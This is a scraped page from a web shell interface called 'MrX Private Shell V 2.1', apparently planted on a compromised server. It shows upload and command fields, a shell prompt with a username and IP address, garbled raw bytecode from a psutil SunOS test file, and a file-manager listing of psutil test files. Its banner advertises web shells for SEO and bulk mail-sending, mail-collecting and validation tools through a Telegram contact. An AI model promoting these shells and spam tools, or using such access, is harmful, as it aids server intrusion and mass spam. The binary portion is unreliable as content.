__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
3

��JZ�@sxdZddlZddlZddlmZddlmZddlmZddlmZejed�Gdd	�d	ej	��Z
ed
krtee�dS)zSun OS specific tests.�N)�SUNOS)�run_test_module_by_name)�sh)�unittestz
SUNOS onlyc@seZdZdd�Zdd�ZdS)�SunOSSpecificTestCasec
Cs�tdtjd�}|j�jd�dd�}|s4td��d}}xL|D]D}|j�}|d	d�\}}|tt|�d�7}|tt|�d�7}qBW||}tj�}	|j	|	j
|�|j	|	j|�|j	|	j|�dS)
Nz#env PATH=/usr/sbin:/sbin:%s swap -l�PATH�
�zno swap device(s) configuredr�i���)
r�os�environ�strip�split�
ValueError�int�psutilZswap_memory�assertEqual�total�used�free)
�self�out�linesrr�line�t�frZpsutil_swap�r�"/usr/lib64/python3.6/test_sunos.py�test_swap_memorys
z&SunOSSpecificTestCase.test_swap_memorycCs&td�}|jtj�t|jd���dS)Nz/usr/sbin/psrinfor)rrr�	cpu_count�lenr)rrrrr�test_cpu_count&sz$SunOSSpecificTestCase.test_cpu_countN)�__name__�
__module__�__qualname__rr"rrrrrsr�__main__)
�__doc__rrrZpsutil.testsrrrZskipIfZTestCaserr#�__file__rrrr�<module>s


Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 27.98 KB 0644
__init__.cpython-36.pyc File 29.18 KB 0644
__main__.cpython-36.opt-1.pyc File 2.49 KB 0644
__main__.cpython-36.pyc File 2.49 KB 0644
test_aix.cpython-36.opt-1.pyc File 3.2 KB 0644
test_aix.cpython-36.pyc File 3.2 KB 0644
test_bsd.cpython-36.opt-1.pyc File 17.23 KB 0644
test_bsd.cpython-36.pyc File 17.23 KB 0644
test_connections.cpython-36.opt-1.pyc File 14.19 KB 0644
test_connections.cpython-36.pyc File 14.53 KB 0644
test_contracts.cpython-36.opt-1.pyc File 22.11 KB 0644
test_contracts.cpython-36.pyc File 22.94 KB 0644
test_linux.cpython-36.opt-1.pyc File 62.96 KB 0644
test_linux.cpython-36.pyc File 64.19 KB 0644
test_memory_leaks.cpython-36.opt-1.pyc File 21.47 KB 0644
test_memory_leaks.cpython-36.pyc File 21.47 KB 0644
test_misc.cpython-36.opt-1.pyc File 32.23 KB 0644
test_misc.cpython-36.pyc File 33.15 KB 0644
test_osx.cpython-36.opt-1.pyc File 10.54 KB 0644
test_osx.cpython-36.pyc File 10.54 KB 0644
test_posix.cpython-36.opt-1.pyc File 12.85 KB 0644
test_posix.cpython-36.pyc File 12.98 KB 0644
test_process.cpython-36.opt-1.pyc File 39.24 KB 0644
test_process.cpython-36.pyc File 40.08 KB 0644
test_sunos.cpython-36.opt-1.pyc File 1.41 KB 0644
test_sunos.cpython-36.pyc File 1.41 KB 0644
test_system.cpython-36.opt-1.pyc File 24.49 KB 0644
test_system.cpython-36.pyc File 25.81 KB 0644
test_unicode.cpython-36.opt-1.pyc File 10.88 KB 0644
test_unicode.cpython-36.pyc File 10.93 KB 0644
test_windows.cpython-36.opt-1.pyc File 27.55 KB 0644
test_windows.cpython-36.pyc File 27.76 KB 0644